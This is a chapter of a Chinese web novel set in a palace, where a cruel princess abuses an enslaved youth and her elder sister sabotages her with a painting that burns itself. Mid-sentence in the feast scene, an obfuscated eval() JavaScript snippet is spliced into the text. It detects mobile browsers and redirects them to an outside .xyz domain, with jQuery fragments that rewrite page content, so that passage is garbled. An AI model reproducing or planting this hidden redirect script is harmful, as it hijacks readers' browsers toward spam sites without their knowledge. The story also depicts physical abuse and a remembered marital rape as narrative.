16. 第十六章
作品:《救了被女配虐待的小可怜后gb》 等了许久不见邬琅回来,薛清芷不耐烦地朝内室门口瞥去一眼,却望见了一抹雪色的裙裾。前一刻她脸上还带着懒散的笑,此刻却只剩下风雨欲来般的阴沉。她将盛着红樱桃的浅碟重重搁在一旁,很不高兴地唤了声:“邬琅。”
邬琅身子一颤,不敢出声了,他难堪地垂下眼,小心叼起雪帕里裹着的樱桃,转身膝行回薛清芷面前。
少年跪过之处,似胭脂留痕。
那点薄淡的红,很快便被轮椅碾过,再看不出原本的颜色。
想起鹅卵石路上那些显眼的血迹,薛筠意眉心微蹙,心中隐约有了不好的猜测。
薛清芷漫不经心地朝邬琅伸出手,少年便低下头,顺从地将口中的樱桃放入她的掌心,听话得不得了,可薛清芷却嫌弃他动作太慢,十分不满地扇了他一耳光。
“当着本宫的面也敢偷懒磨蹭!”
邬琅屏着气不敢作声,只能死死抿着唇,于麻木的痛苦中,生出几分可悲的侥幸来。
还好。他背对着长公主,长公主应当看不到他挨打时卑微下.贱的模样。
轮椅在身后几步远处停了下来,邬琅能感觉到薛筠意离他很近,近到他能闻到她身上熟悉的草药香。
邬琅脊背颤了颤,一想到薛筠意此刻或许正注视着他,他的双颊便泛起了屈辱的红,眼里不知不觉竟含了泪。
薛清芷将要落下的手停在半空,眼里闪过一丝惊讶。即使是在床榻上被折腾狠了的时候,也鲜少见邬琅这副模样。少年眼角那颗晶莹剔透的泪,比这世上最值钱的明月珠还要漂亮,那么脆弱,那么可怜。
她饶有兴致地弯了弯唇,手上力道却又重了几分,泪珠儿颤颤地顺着少年脸上的肿痕滑落,薛清芷得了趣,也不计较邬琅没有依着规矩开口谢赏,难得大度地容忍了他的沉默。
薛筠意看不下去,重重地咳嗽了一声。
薛清芷这才意犹未尽地停了手,懒洋洋地抬起眼:“皇姐今日来迟了。”
薛筠没理会她的阴阳怪气:“答允妹妹的画,今日便可完工了。还望妹妹莫要忘了当初答应我的事。”
薛清芷笑道:“这是自然,皇姐放心就是。”
青黛走上前,引着薛筠意转过屏风。薛清芷则去里间换上了那身繁复的吉服,再由阿萧扶着,施施然在桌案前的宽椅上坐了下来。她眼下心情不错,懒倦地朝跪在床榻边的邬琅勾了勾手,破天荒地允许他起身,与阿萧一同伺候她。
“过来,给本宫捏捏肩膀。”
邬琅踉踉跄跄地走到薛清芷身后,好不容易才强撑着站稳了,学着阿萧的手法,替薛清芷揉捏起左边的肩膀。
薛筠意清晰地看见了邬琅膝上那两团红艳艳的血印,提笔蘸墨的手不由一顿。
少年显然痛得厉害,那红肿溃烂的双膝如何能支撑得住长久的站立,于他而言,或许跪着还能缓解几分疼痛,可薛清芷难得赏赐了他站着的权利,他哪敢不从呢。
她心里念着邬琅的伤,不觉分了神,笔尖淡墨滴落,恰洇在画中薛清芷的额头上。
墨楹低低惊呼一声:“殿下!”
薛筠意回过神,看见了纸上那点显眼的墨渍。她不动声色地搁下笔,另取了一方干净的墨碟,用清水将一些细细的粉末调开。朱色浓郁,金粉流光,纤细狼毫将这抹姝色覆在那丑陋的墨渍上,勾勒出一朵极美的花钿。
“好了。”薛筠意道。
立刻有宫婢上前来,将那幅画小心捧起,送到薛清芷面前。
画中的女子,神态鲜活,呼之欲出。薛清芷微眯起眼,酸溜溜地道:“皇姐真乃妙手丹青,妹妹自愧不如啊。”
“妹妹谬赞了。”薛筠意语气平静,“这画既是用来恭贺妹妹得封号之喜的,便该由宫匠仔细装裱了再送与妹妹。我会在妹妹册封礼那日,当着父皇的面亲手将此画赠予妹妹,也好让父皇知道,咱们姐妹情深。妹妹以为如何?”
薛清芷不置可否:“我听皇姐的便是。皇姐替我思虑得周到,我也得拿出些诚意来才好。青黛,把东西拿给皇姐吧。”
青黛笑眯眯地上前,将手里的黑檀木匣递给薛筠意,“这是公主之前答允给您的解药,请殿下收好。”
薛筠意微讶。她倒是没想到,薛清芷会如此爽快。
薛清芷端起茶盏,慢悠悠地抿了口茶。她本也不是为着求画而来,只是想以此来戏弄薛筠意罢了。
“我答应皇姐的事,自是不会食言,但皇姐所中之毒实在稀奇,我这解药也只能解皇姐一时之渴,并不能根治其症。”
薛筠意蹙眉道:“此话何意?”
“服下此药后,两个时辰内,皇姐可以行动自如,与常人无异。至于两个时辰之后……”薛清芷眨了眨眼,“皇姐还是得乖乖地坐回轮椅上。”
一旁的墨楹蓦地瞪圆了眼睛:“二公主,你、你别欺人太甚!”
薛清芷耸了耸肩,神色无辜极了:“我只答允给皇姐解药,可没说这解药能彻底医好皇姐的腿啊。皇姐,你身边这丫头也忒不懂规矩了,动不动就大呼小叫的,若不是看在皇姐的面子上,我可不会饶过这样的刁奴。”
“你……”墨楹气得牙根都在颤抖。殿下日日来往凝华宫,路上已经足够辛苦,更不必说殿下在那幅画上花费了多少心思和精力,到头来,薛清芷却拿这样的东西来糊弄殿下……
墨楹实在不甘心,可薛筠意只是轻轻拍了拍她的手背:“墨楹,噤声。”
薛清芷眼里浮现出几分兴味。这场交易从头到尾只不过是她拿来戏耍薛筠意的一场消遣而已,没想到薛筠意得知真相后竟然一点儿都不恼。
“多谢妹妹了。”薛筠意神色从容地把木匣递给墨楹,让她收好。
薛清芷挑了挑眉:“皇姐要回去了么?我让解安送一送皇姐。”
“妹妹宫里的路不好走,就不必差人送了。”
轮椅自薛清芷面前行过,余光瞥见邬琅溃烂流血的双膝,薛筠意心口一阵酸涩,下意识地移开了视线,不忍多看。
薛清芷也不起身,懒散地歪在宽椅里,目送着薛筠意的身影消失在寝殿门口。没能如愿在薛筠意脸上看到愤怒的神色,她只觉又讨了个没趣儿,恹恹地撇了撇嘴,抬手示意几名面首各自退下,只留下邬琅伺候。
少年温驯地跪了下来,颈间沉重的铁链被薛清芷绕在指间漫不经心地把玩,碰撞出刺耳的声响。
她百无聊赖地牵起邬琅回到软榻边坐下,随手拈起一粒樱桃来吃,忽而想起方才在内殿门口,薛筠意似乎对邬琅说了什么,只是她离得远,不曾听得真切。还有今日晨起时,阿萧悄悄告诉过她,那日薛筠意去牵流雪,他亲眼见到,薛筠意进过邬琅所住的那间马棚。
薛清芷忽然就沉了脸,勾起小奴隶清瘦的下颌,不大高兴地问:“你病着的那几日,皇姐是不是去看过你?”
“……回公主话,贱奴那时昏睡不醒,并不知晓这些。”邬琅含糊说道。
薛清芷冷哼一声,指尖慢慢下移,抚过铁锁上那个醒目的“琅”字。
“给本宫记好了,你是本宫的人,不许和皇姐说话,更不许和皇姐有任何来往。如有违背,本宫绝不会轻饶了你。”
“是。”邬琅哑声。
见他一如既往的乖顺,薛清芷的心情这才好了几分,她随意将手里的樱桃抛了出去,慢条斯理地命令:“好了,继续吧。”
难得见邬琅落泪,想来是因为今日晨罚罚得有些狠了的缘故。既如此,更该下手重些,才能让他多哭几回不是。
薛清芷欣赏着少年跪行时那截轻摆的细腰,唇角轻勾,扬声吩咐青黛:“再上几碟樱桃来。”
*
“殿下,二公主实在是太过分了!奴婢要是您,索性就把那幅画一把火烧了,如此恶毒之人,根本就不配您为她作画!”墨楹憋了一路,一回到青梧宫,便忍不住替薛筠意抱起了不平。
“且让她得意几日罢。”
薛筠意慢悠悠地把画展平,用镇纸压住一角,对着画中花钿的颜色调了一碟朱色,细细补了几笔。
墨楹小声嘟囔:“殿下何必为她浪费这么好的颜料……”
薛筠意抬起脸,朝墨楹温柔地笑了笑:“我一早便知道她不会轻易把解药给我,是以今日之事,并不意外。几日后便是薛清芷的册封礼了,你且等着看好戏就是。”
“真的?”墨楹眨了眨眼。
“不骗你。”薛筠意温声,“旁人做事我不放心,你亲自把这画送去装裱,叮嘱那些裱匠仔细些,莫要碰坏了。”
“哎,奴婢这就去办。”墨楹终于露出几分笑来,小心翼翼地捧起画儿,躬身退出了殿外。
两名宫婢送了茶点瓜果进来,瓷白的浅碟里盛着新鲜的红樱桃,看着便令人唇齿生津,薛筠意拿起一颗放入口中,轻轻咬下一口,丰盈的汁水便溅了出来,将她的唇瓣染上水润的红。
她心不在焉地将果肉咽下,脑海里不由自主地浮现出邬琅膝上那两片触目惊心的血痕,比樱桃还红,比花枝还艳。
薛清芷竟然连膝行石子路这样残忍的惩罚都想得出来。
邬琅本就风寒未愈,再这么折腾一遭,身子如何能吃得消?薛筠意毫不怀疑,以薛清芷的手段,早晚有一天,邬琅会死在她手里。
她垂下眼,心神不宁地将瓷碟推到一旁,随手拿起那册重温了一半的琅州志来看。
这几日朝中的风声不小。听闻皇帝已经召集了不少心腹臣子,商议皇太女的人选。前些年,皇帝总念着贵妃还年轻,还能再为他生下一儿半女,一门心思地盼着能得个太子,可贵妃的肚子迟迟没有动静,再加之臣子们催得急,皇帝便有了些动摇。林相谏言,劝皇帝不妨以此番琅州旱灾作为考核,两位公主谁更有卓见,谁便更能担起皇太女之责,朝臣们无不赞同,可皇帝却始终未发一言。
薛筠意沉思半晌,从书页夹缝里取出那份琅州舆图,对着其上密密麻麻的标注,提起笔来。
自南疆开国以来,琅州一直灾情不断,这些日子薛筠意零零碎碎想了很多,心里大概有了对策,只是她毕竟从未去过琅州,所知所见,皆来源于书册记载,所以并没有十足的把握。
无论如何,总要试一试才知对错。
她不想,也绝不会——
输给薛清芷。
*
薛清芷的册封礼办得极为隆重。除了礼部备下的珠冠,皇帝还另赏了不少好东西,玛瑙翡翠,金钗步摇,满满当当地装了十口箱子,足以见得这位尊贵的安阳公主有多得皇帝宠爱。
册封礼毕,众人便随皇帝和贵妃移步至凝华宫中的清荷苑,参加安阳公主的生辰宴。
朝臣们陆续送上贺礼,其中不乏想巴结薛清芷之人,端着谄媚的笑脸,不停地说着各种阿谀奉承的好话。
薛筠意坐在薛清芷身旁,安静地品着杯中的梅子酒。几巡酒过,周围终于安静下来,她这时才放下酒盏,从墨楹手中接过装着画轴的长匣,递到薛清芷面前。
“这是之前答允妹妹的生辰礼,妹妹收下罢。”
有眼尖的人瞧见了,立刻高声奉承起来:“哎呀,听闻长公主从不轻易为人作画,今日竟主动赠画于二公主,可见两位公主,当真是姐妹情深。”
一位胡须花白的老臣颤巍巍地站起身:“时常听冯老夸赞长公主画技精湛,一直无缘得见,不知今日能否有幸,与二公主共赏此画?”
“是啊,当年长公主所作的雁归图,民间虽有不少仿作,但到底比不得真迹。臣等实在想看一看,长公主所作之画,是否真如传言那般精妙绝伦。”
薛清芷听着那些溢美之词,不大高兴地皱起了眉:“不过一幅画而已,又不是什么稀罕东西,诸位想看,本宫打开便是。”
两名宫婢依言走上前,小心地展开长匣中的画轴,举于众人眼前。
周遭霎时寂静。好半晌,众人才于初见此画的震撼中回过神来,一时竟想不到词句来赞美。清风拂过画上笔墨,画中的安阳公主便仿佛要从纸上走下来一般,当真是栩栩如生。
皇帝看在眼中,沉吟不语。有时候他的确无法否认,林相所言不错,薛筠意样样都胜出薛清芷许多,是眼下最合适的皇太女人选。
可他不想让那个女人的孩子继承他的帝业。
这皇帝的位子,是姜家捧给他的,若真让薛筠意做了皇太女,这南疆的江山,只怕早晚有一天要姓了姜。
他知道姜皇后一直都看不起他,在她眼中,他是最窝囊、最无用的皇子。他也知道那时她属意于太子,太子英勇善战,又聪慧过人,可惜天妒英才,年纪轻轻便战死在了沙场。
那个叫姜元若的女人,是不得已才做了他的皇后,成婚十余载,她从未对他露过半分笑脸,她厌恶他的平庸,嫌弃他的无能,甚至不愿与他同房,是他强.绑了她,在她一声声的唾骂中,闯入了她的身体。
她打他,咬他,像头凶悍的小豹子,他从未在一个姑娘身上见过那么大的力气,她脸上泪水涟涟,颤声说着他不想听的话,她说若没有姜家,他什么都不是,他根本就不配做她姜元若的夫君。那时他听得心烦,只能用唇去堵住那张胡言乱语的嘴,却被咬了满口的鲜血。
他怒气冲冲地拂袖而去,可她终归是他的皇后,只要她朝他笑一笑,服个软,他自会将他所拥有的一切都捧给她,可是她不肯,一直到死,姜元若都不曾向他低头。
想到此处,皇帝眸色沉了沉,指腹摩挲过虎口处一道丑陋的牙印。那是新婚夜时姜元若咬的,这么些年过去,始终未能消褪。
他盯着眼前画中人的脸,那是他最疼爱的小女儿的脸,细看时,隐约有几分江贵妃的模样。这让皇帝的脸色勉强缓和了几分。
可下一刻,那张脸突然着起火来,火苗舔过画纸,在日光下不知疲倦地燃烧。不过眨眼的功夫,画中娇俏的安阳公主已经烧成了一地颓败的灰烬。
众人大惊失色,李福忠尖声喊着救驾,御林军匆忙上前,将皇帝和贵妃护在身后。唯有薛筠意神色平静,又斟了一盅梅子酒来喝。
片刻寂静后,不知是谁扑通一声跪了下来,惶恐地对皇帝禀道:“陛下,长公主笔下有灵,此画无端起火,许是天意啊!”
皇帝沉了声:“爱卿倒是说说,天意欲让朕何为?”
席间瞬时一片死寂。半晌,还是林相肃声道:“陛下不顾规矩礼制,执意要先赐二公主封号,实在太过偏颇。上天烧毁此画,便是在警示陛下,不可因私心而做出违背宗律之事。”
“林相所言极是。”
“二公主年纪尚小,封号一事本也不急。”
“大约是礼部拟的封号不好,陛下何不让礼部重新拟来,仔细选个好的?”
有了林相做出头鸟,臣子们这才胆子大了些,纷纷进言劝谏。
皇帝的脸色阴沉得可怕。这“安阳”的封号是他亲自拟的,寓意平安喜乐,愿他的清芷,如朝阳般美好绚烂,怎能因为一幅画就随意收回?
可皇帝不免也存了几分疑心,冯宪之常说薛筠意画中万物
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770570|173712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皆有灵,他又是深信鬼神之人,不得不将此事放在心上。
良久,皇帝终是沉着嗓开口道:“既如此,朕便将‘安阳’的封号暂且收回,交由礼部重新拟定。再去请几位道士择个册封的吉期。”
“父皇!”薛清芷哪里情愿,委屈地红了眼睛。
“清芷听话,这封号不好,咱们不用了,等父皇再想一个好的。”
朝臣们连忙附和着,道皇帝英明,李福忠领着两个小太监迅速将地上那堆晦气的东西收拾干净,身姿窈窕的舞女拂动水袖款款行过,席间重又热闹起来,众人都心照不宣地没有再提起方才之事,专心欣赏起眼前的歌舞。
薛清芷气得眼泪直打转,她好不容易才从父皇那儿求来了封号,好不容易能堂而皇之地压过薛筠意一头了,如今却因为一幅破画,就被轻描淡写地收回了这份尊荣,让她如何能咽下这口气?
她恨恨攥紧了拳头,忽然想到了什么,猛地转过脸瞪向薛筠意。
“是你……是你在画上做了手脚!”
“妹妹若没有证据,可莫要血口喷人。”薛筠意抿了口酒,声音淡淡。
薛清芷登时一噎,那幅画早就烧成了一把灰,哪里还有什么证据?她此时才明白过来,当初她要薛筠意为她作画,薛筠意为何答应得那样痛快,原是一早便想好了,要拿这画来算计她呢!
薛清芷眼底猩红,只恨不能冲上去,将薛筠意那张平静的脸撕个粉碎。
薛筠意擦了擦唇角的酒渍,只当没看见她眼中汹涌的恨意,侧首对墨楹道:“我累了,扶我回宫歇息吧。”
“是。”
薛清芷目眦欲裂,正要出声喊住薛筠意,皇帝已温声开口:“你皇姐身子不好,留在这儿只会扫了你的兴致,让她回去便是。来,陪父皇饮了此杯,今日是你生辰,父皇高兴,定要不醉不归。”
宫婢添上新酒,薛清芷只好咽下满腹的不甘,强撑出几分笑脸来,朝皇帝举起酒盅。
此时,清荷苑后。
墨楹推着薛筠意,走在一条僻静幽深的小路上。沿此路去往宫门,虽有些绕远,但胜在路面平坦,比起那些凹凸不平的鹅卵石路要舒服许多。
歌舞声渐渐远去,四周清净下来,只余风声鸟鸣。薛筠意难得放松,闭上眼,缓和着微醺的酒意。
“殿下,可真是奇了!那画竟然自个儿烧了起来!”墨楹啧啧称奇,碍着还未走出凝华宫,她并不敢过分张扬,只在心里舒舒服服地痛快了一把,“陛下亲自下旨,收回了二公主的封号,奴婢倒要看看,往后她还怎么得意!”
薛筠意笑笑,继续闭目养神。
从她答允为薛清芷作画开始,便没打算让薛清芷得了便宜。一切的关键,便在于她最后添上的,那朵用昙朱描绘而成的花钿。
昙朱美艳,采自清州岫林深处,乃极难得的珍贵颜料,只可惜世间好物,大多昙花一现,此色若放于日光下观赏,美则美矣,但不到一刻钟的功夫,便会自行焚烧,一丝痕迹都不会留下。
而皇帝向来最信鬼神,如此不祥之兆,他定然不会坐视不理。
此计能成,她还真要感谢皇帝。自姜皇后去世,皇帝夜夜梦魇缠身,时常满头大汗地从梦中惊醒,嚷嚷着说有鬼魂索命。为此,皇帝请了不少僧人布阵驱鬼,甚至还在寝殿中供奉了佛像。如若不是心中有鬼,又怎会信这些虚无缥缈的东西?
墨楹忽然“呀”了声,轮椅也随之重重一顿。薛筠意回过神,下意识地抓紧了扶手,蹙眉问道:“怎么了?”
墨楹蹲下身仔细查看了一番,忍不住嘟囔道:“回殿下,是右边的木轮坏了。平时都好好的,怎么偏偏挑着今日出岔子。”
她抹了把额上的汗,一时有些犹豫:“库房里还有一把新做的轮椅,奴婢这就去寻几个宫人来,让他们回青梧宫去取。只是……留殿下一人在这儿,奴婢有些不放心。”
薛筠意道:“无妨,你去便是。”
此处离清荷苑不远,若真有什么事,她只消喊一嗓子,便能惊动那些随行护卫圣驾的御林军。
墨楹想了想,她腿脚快,办这桩差事应当费不了多少功夫,“那殿下先坐着歇一歇,奴婢很快就回来。”
“嗯。”
静坐无事,酒意很快涌了上来,令薛筠意昏昏欲睡。偏这时竟下起了雨,冷风卷着银竹似的雨丝,凉飕飕地拂在脸上。
薛筠意皱起眉,仰头望着压满乌云的天幕,心想,今日可真是个吉利的好日子。
雨越下越大。
皇帝喝酒正喝到兴头上,即使下了雨,也不肯轻易散了宴席。几名宫婢慌慌张张地跑回小厨房,将手中淋了雨的菜肴倒进泔水桶,忙不迭地吩咐厨娘再做一份新的。
邬琅蹲在小门旁的角落里,盯着地上的半个脏馒头,慢慢地舔了下唇。那馒头是今早小厨房剩下的,厨娘掰了半个去喂狗,可那狗却嫌弃白馒头没有肉包子香,嗅了几下便走开了。
他实在是饿极了。少年人正是长身体的时候,每日一碗清粥怎么可能填饱肚子,可没有薛清芷的允许,他不敢偷吃任何食物,哪怕是旁人丢在地上的、不要的东西。
邬琅饿得眼前发昏,他瞥了眼身后,小厨房里,宫婢们来回忙碌奔走,急着将热腾腾的佳肴送到宴席上去,无人注意他,也无暇管他。他喉间吞咽了下,终是抵挡不住腹中的饥饿,迅速抓起那块馒头,囫囵往嘴里送。
狼吞虎咽地吃完,邬琅摸着仍旧空瘪的小腹,抿起唇,望向了一旁的泔水桶。抬眸时,却忽然瞥见不远处的树荫下,有一道熟悉的人影。
——是长公主。
她独自一人坐在雨中,身边的宫婢不知跑去了哪儿,竟然撇下她不管不顾。
邬琅沉默一瞬,几乎是不假思索地起身跑进了雨中,前头有一座荒废许久的佛堂,他曾在那里受过罚,那里有几把旧伞,他记得的。
他满脑子都是不能让薛筠意淋雨受凉,可当他撑着伞朝薛筠意跑去时,却又踌躇地停下了脚步。低头看了眼身上破烂不堪的衣裳,邬琅心里便有了几分怯,他这样的人,怎配出现在长公主面前?
可薛筠意似乎已经看见了他,甚至远远地,在朦胧潮湿的雨雾中,对他温柔地笑了下。
邬琅只得鼓起勇气,快步走到薛筠意面前,将伞递了过去。
“贱奴见过长公主。”
薛筠意接过了他手中的伞。邬琅立刻跪了下来,低垂着头,任由冰凉的雨水顺着伞面浇下,砸在他清瘦的脊背上。
伞有些旧了,甚至破了个不小的洞,只能勉强起到几分遮蔽的作用。
薛筠意看了眼脚边温顺跪着的少年,轻轻叹了口气。他总是这副谨小慎微的模样,好像生怕做错了事似的。她不想再像上次那样吓着了他,于是先轻轻咳嗽了一声,才柔声问:“这附近可有地方避雨?”
“回殿下话,那边有一处佛堂,可作避雨之用。”
邬琅猜测着薛筠意的轮椅大约是坏了,否则也不会待在这儿淋雨,于是便小声道:“殿下若不嫌弃,贱奴可以背您过去。”
话一出口,邬琅立刻后悔了。他这副肮脏的身子,怎可触碰长公主,还是寻个宫人过来帮忙为好……
正胡思乱想着,潮湿的草药香气突然毫无预兆地靠近,邬琅心跳蓦地加快,一声一声,甚至压过了清脆的雨声。
他无措地抬起眼,乌眸中颤颤地映着薛筠意白皙素净的面庞。她倾身过来,将手中旧伞撑在他头顶,温声应下了他逾矩的请求。
“好。”